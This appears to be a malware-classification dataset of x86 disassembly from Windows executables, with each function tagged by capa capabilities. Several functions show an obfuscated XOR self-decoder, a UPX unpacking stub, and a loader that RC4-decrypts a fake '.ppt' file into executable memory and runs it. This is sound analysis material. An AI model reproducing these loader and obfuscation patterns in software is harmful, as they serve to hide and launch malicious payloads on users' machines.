joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b100
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x42b12a
mov eax, 2
pop ebp
ret
push esi
call fcn.00426320
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x42b14a
jmp dword [eax*4 + 0x42b180]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.00426450
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x42b190
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x43d140]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x42b28b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x42b28b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x42b1ea
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x42b1c8
jmp 0x42b28b
cmp edx, 0x200
jae 0x42b2f1
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x42b28b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x42b28a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x42b28a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x42b2d3
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x42b270
pop edi
mov eax, dword [0x43e288]
test eax, eax
jne 0x42b2b1
push str.setlocale
call fcn.0042c080
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x42b2ac
or eax, 0xffffffff
mov dword [0x43e288], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x42b2df
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042505f
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x42b28a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0042505f
mov esp, ebp
pop ebp
ret
call fcn.004251b2
int3

Function at 0x42b6e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.0042b710
mov esi, dword [ebp + 8]
test al, al
je 0x42b6fe
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.0042b720
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x42b850
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42b8ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42b8ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42b8ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42b8ac
cmp dword [ecx + 0x74], 0xe
jbe 0x42b8ac
cmp dword [ecx + 0xe8], 0
je 0x42b8ac
push dword [ebp + 8]
call fcn.0042b720
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x43e2a0
call fcn.0042b4f0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x42b8e1
push dword [ebp + 8]
call fcn.0042b6e0
mov esp, ebp
pop ebp
ret

Function at 0x42b920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42b97c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42b97c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42b97c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42b97c
cmp dword [ecx + 0x74], 0xe
jbe 0x42b97c
cmp dword [ecx + 0xe8], 0
je 0x42b97c
push dword [ebp + 8]
call fcn.0042b720
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x43e2a0
call fcn.0042b4f0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x42b9b1
push dword [ebp + 8]
call fcn.0042b6e0
mov esp, ebp
pop ebp
ret
Function at 0x4b6cf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x85000]
push edi
or ebp, 0xffffffff
jmp 0x4b6d12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b6d19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6d08
mov eax, 1
add ebx, ebx
jne 0x4b6d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b6d3c
jne 0x4b6d5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6d5b
dec eax
add ebx, ebx
jne 0x4b6d48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b6d20
add ebx, ebx
jne 0x4b6d57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b6dad
xor ecx, ecx
sub eax, 3
jb 0x4b6d73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b6de2
sar eax, 1
mov ebp, eax
jmp 0x4b6d7e
add ebx, ebx
jne 0x4b6d7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6d4c
inc ecx
add ebx, ebx
jne 0x4b6d8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6d4c
add ebx, ebx
jne 0x4b6d99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b6d8e
jne 0x4b6daa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b6d8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b6dcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b6dbe
jmp 0x4b6d0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b6dcc
add edi, ecx
jmp 0x4b6d0e
pop esi
mov edi, esi
mov ecx, 0x56ff
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b6dea
cmp byte [edi], 0xa
jne 0x4b6dea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b6def
lea edi, [esi + 0xb3000]
mov eax, dword [edi]
or eax, eax
je 0x4b6e67
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb748c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb7570]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b6e1c
mov ecx, edi
jns 0x4b6e4b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb7578]
or eax, eax
je 0x4b6e61
mov dword [ebx], eax
add ebx, 4
jmp 0x4b6e39
call dword [esi + 0xb7574]
mov ebp, dword [esi + 0xb757c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b6e9b
sub esp, 0xffffff80
jmp 0x464fa4
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x4f25c60b
sub eax, 0x4ee5a9a5
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x66384ca9
sub dword [ebp - 0x48], 0x17e6075e
mov dword [ebp - 0x44], 0xbc0a8316
sub dword [ebp - 0x44], 0x89d736d1
mov dword [ebp - 0x40], 0xc14534d9
add dword [ebp - 0x40], 0x8b070f55
mov dword [ebp - 0x3c], 0xef9a768e
add dword [ebp - 0x3c], 0x10658972
lea eax, [ebp - 0x48]
push eax
mov eax, 0x5411ee5
add eax, 0xfaff116f
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xc475f
sub dword [ebp - 0x48], 0x8b99de09
mov dword [ebp - 0x44], 0x57f80a63
sub dword [ebp - 0x44], 0x168ba8ee
mov dword [ebp - 0x40], 0x9cc2dc3a
sub dword [ebp - 0x40], 0x39536fce
mov dword [ebp - 0x3c], 0x22b351ea
sub dword [ebp - 0x3c], 0x22b351ea
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x25b25a03
add eax, 0xda8dd629
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3ad76
push 0
call eax
mov ecx, 0xa15ee679
add ecx, 0x5ea172f8
xor edi, edi
add edi, eax
mov esi, 0xf4aada08
sub esi, 0xf46a6a08
add esi, dword [ebp - 0x38]
mov ebx, 0x7bbae29
sub ebx, 0x26b5e274
sub dword [ebp - 0x18], eax
mov edx, dword [esi]
mov dword [ebp - 0x30], 0x23908bc6
xor edx, ebx
sub dword [ebp - 0x24], 0xbaefd854
mov dword [edi], edx
add dword [ebp - 0x1c], esi
add edi, 4
add esi, 0x16f17adf
sub esi, 0x16f17adb
loop 0x401d8a
add eax, 0x15897
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x10017bcb
Capabilities:
Check if file exists
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x82c
mov eax, dword [0x1004b040]
xor eax, esp
mov dword [esp + 0x828], eax
push ebx
push esi
push edi
push 0xd
mov ebx, ecx
lea eax, [esp + 0x250]
pop ecx
push 0x1d4
mov esi, str.C:UsersPublicDocuments
lea edi, [esp + 0x21c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1001f7c0
add esp, 0xc
lea eax, [esp + 0x420]
mov edi, 0x104
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10017c46
mov edx, 0x10046e68
mov ecx, 0x1004f600
call fcn.100190b3
push eax
call fcn.10019237
pop ecx
xor eax, eax
jmp 0x10017cb6
lea eax, [esp + 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [esp + 0x218]
push eax
lea eax, [esp + 0x14]
push edi
push eax
call fcn.100231d0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [esp + 0x1c]
add esp, 0xc
push ebx
push eax
call esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10017ccb
push ebx
push ecx
mov edx, 0x10046e94
mov ecx, 0x1004f508
call fcn.100190b3
pop ecx
mov ecx, eax
call fcn.10017d2c
mov edx, 0x10046e7c
mov ecx, eax
call fcn.100190b3
push eax
call fcn.10019237
pop ecx
xor eax, eax
inc eax
mov ecx, dword [esp + 0x834]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001de4f
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x420]
push eax
lea eax, [esp + 0x62c]
push edi
push eax
call fcn.100231d0
add esp, 0xc
lea eax, [esp + 0x628]
push ebx
push eax
call esi
push 1
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x10017cb3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x10046e9c
mov ecx, 0x1004f600
call fcn.100190b3
pop ecx
mov ecx, eax
call fcn.10017e0f
jmp 0x10017c3b

Function at 0x1001a069
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edx, edx
je 0x1001a088
push edi
mov edi, dword [ebp + 8]
mov eax, esi
and eax, 0xf
mov al, byte [eax + edi]
xor byte [esi + ecx], al
inc esi
cmp esi, edx
jb 0x1001a077
pop edi
pop esi
pop ebp
ret
Function at 0x1001a08b
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x1004b040]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push esi
push edi
mov eax, edx
mov dword [esp + 0x14], ecx
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0x10]
mov dword [esp + 0x14], edx
mov edx, eax
mov dword [esp + 0x18], eax
call fcn.1001a069
add esp, 8
xor esi, esi
mov dword [esp + 0x118], esi
mov eax, esi
mov dword [esp + 0x11c], esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x1001a0d9
mov ebx, esi
mov edi, esi
mov esi, dword [esp + 0xc]
mov dl, byte [esp + edi + 0x18]
mov eax, edi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [eax + esi]
add eax, ebx
add ecx, eax
movzx ebx, cl
mov al, byte [esp + ebx + 0x18]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebx + 0x18], dl
cmp edi, 0x100
jb 0x1001a0ed
mov edi, dword [esp + 0x10]
xor esi, esi
mov ebx, esi
test edi, edi
je 0x1001a183
mov edx, dword [esp + 0x11c]
lea eax, [esi + 1]
movzx esi, al
mov dword [esp + 0x118], esi
movzx eax, byte [esp + esi + 0x18]
add eax, edx
movzx edx, al
mov dword [esp + 0x11c], edx
mov cl, byte [esp + esi + 0x18]
mov al, byte [esp + edx + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edx + 0x18], cl
mov edx, dword [esp + 0x11c]
mov esi, dword [esp + 0x118]
mov ecx, dword [esp + 0x14]
mov al, byte [esp + edx + 0x18]
add al, byte [esp + esi + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x1001a12c
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001de4f
mov esp, ebp
pop ebp
ret
Function at 0x1001a198
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push 0x30
mov eax, 0x1003cd78
call fcn.1001e5a5
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.C:UsersPublicDocumentsxig.ppt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], edi
test esi, esi
jne 0x1001a1d4
mov edx, 0x10046f44
jmp 0x1001a1e7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
jne 0x1001a1f8
mov edx, 0x10046f54
call fcn.1001a32b
push eax
call fcn.1001a4e2
pop ecx
jmp 0x1001a2b0
push 0x40
push 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 1
test edi, edi
jne 0x1001a21b
mov edx, 0x10046f64
jmp 0x1001a292
push 0
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1001a235
mov edx, 0x10046f74
jmp 0x1001a292
push ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x30], 0x14537221
push eax
push ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0xb8a79685
push eax
mov edx, ebx
mov dword [ebp - 0x28], 0xfcebdac9
mov ecx, edi
mov dword [ebp - 0x24], 0x302f1e0d
mov dword [ebp - 0x20], 0xd3274b9f
mov dword [ebp - 0x1c], 0x2acd8e51
mov dword [ebp - 0x18], 0x56a13cbf
mov dword [ebp - 0x14], 0x3d9a78e4
call fcn.1001a08b
add esp, 0x10
push edi
call section..text
test eax, eax
jne 0x1001a2c4
mov edx, 0x10046f84
call fcn.1001a32b
push eax
call fcn.1001a4e2
pop ecx
test edi, edi
je 0x1001a2b0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x1001a2c0
cmp esi, 0xffffffff
je 0x1001a2c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1001a2f5
mov edx, 0x10046f98
mov ecx, 0x1004f508
call fcn.100190b3
push eax
call fcn.10019237
mov dword [esp], 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp esi, 0xffffffff
je 0x1001a2f5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1001e554
ret
Function at 0x1001bbf7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x1001bc18
jl 0x1001bc0f
test edi, edi
jne 0x1001bc18
xor eax, eax
xor edx, edx
jmp 0x1001bcd9
cmp dword [ebx + 0x38], 0
je 0x1001bc2d
push eax
push edi
push dword [ebp + 8]
call fcn.1001bcdf
jmp 0x1001bcd9
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1001bc74
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x1001bc74
cmp eax, edi
jb 0x1001bc4e
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.1001f210
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x1001bc7a
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x1001bcce
mov ecx, ebx
call fcn.1001b447
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x1001bcb9
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.100282da
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x1001bcce
jmp 0x1001bc8c
test edx, edx
je 0x1001bcce
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.100282da
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x1002aad8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1002ab17
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002ab17
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002ab17
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1002ab17
cmp dword [ecx + 0x74], 0xe
jbe 0x1002ab17
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10030e10
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100433ac
push 0x100433a4
push str.FlsAlloc
push 0x1f
call fcn.10030cd8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10030e44
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003e184]
call esi
jmp 0x10030e4a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10030e8e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100433bc
push 0x100433b4
push str.FlsGetValue
push 0x21
call fcn.10030cd8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10030ec5
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003e184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10030ecd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100433c4
push 0x100433bc
push str.FlsSetValue
push 0x22
call fcn.10030cd8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10030f07
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1003e184]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100327fd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1001edb0
mov eax, dword [0x1004b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1002dfd6
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1003283f
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1003299b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1003c400
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10050478]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.100339d3
mov ecx, dword [esi*4 + 0x10050478]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10032994
cmp eax, dword [ecx + edi + 0x24]
jne 0x10032994
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10032994
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100339d3
add esp, 0x14
test edx, edx
jl 0x10032994
jg 0x1003290a
test eax, eax
jb 0x10032994
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10032994
jl 0x10032924
cmp dword [ebp - 0x1008], eax
ja 0x10032994
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10032942
test ebx, ebx
je 0x1003297b
cmp ecx, edi
jae 0x1003297b
mov al, byte [ecx]
cmp al, 0xd
jne 0x1003295c
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10032968
cmp byte [ecx + 1], 0xa
jne 0x10032968
inc ecx
jmp 0x10032968
movzx eax, al
movsx eax, byte [eax + 0x1004e680]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10032942
cmp edx, ebx
jne 0x10032942
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10032999
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1001de4f
leave
ret
Function at 0x10032e6b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10050478]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10032eab
cmp byte [ebx], 0xa
jne 0x10032eab
or byte [edi + eax + 0x28], 4
jmp 0x10032eb0
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10032faf
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10032f92
inc eax
cmp dl, 0xd
je 0x10032edc
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10032f02
cmp eax, ecx
jae 0x10032f10
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10032ec4
jmp 0x10032faf
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10032f8d
cmp dword [ebp - 0x10], 0
je 0x10032f8d
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10050478]
test byte [eax + edi + 0x28], 0x48
je 0x10032f67
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10032f52
mov byte [esi], dl
jmp 0x10032f63
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10050478]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10032faf
cmp byte [ebp - 1], 0xa
jne 0x10032f76
cmp esi, ebx
jne 0x10032f76
mov byte [esi], 0xa
jmp 0x10032fae
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100339f1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10032faf
mov byte [esi], 0xd
jmp 0x10032fae
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10050478]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10032fac
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10032faf
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret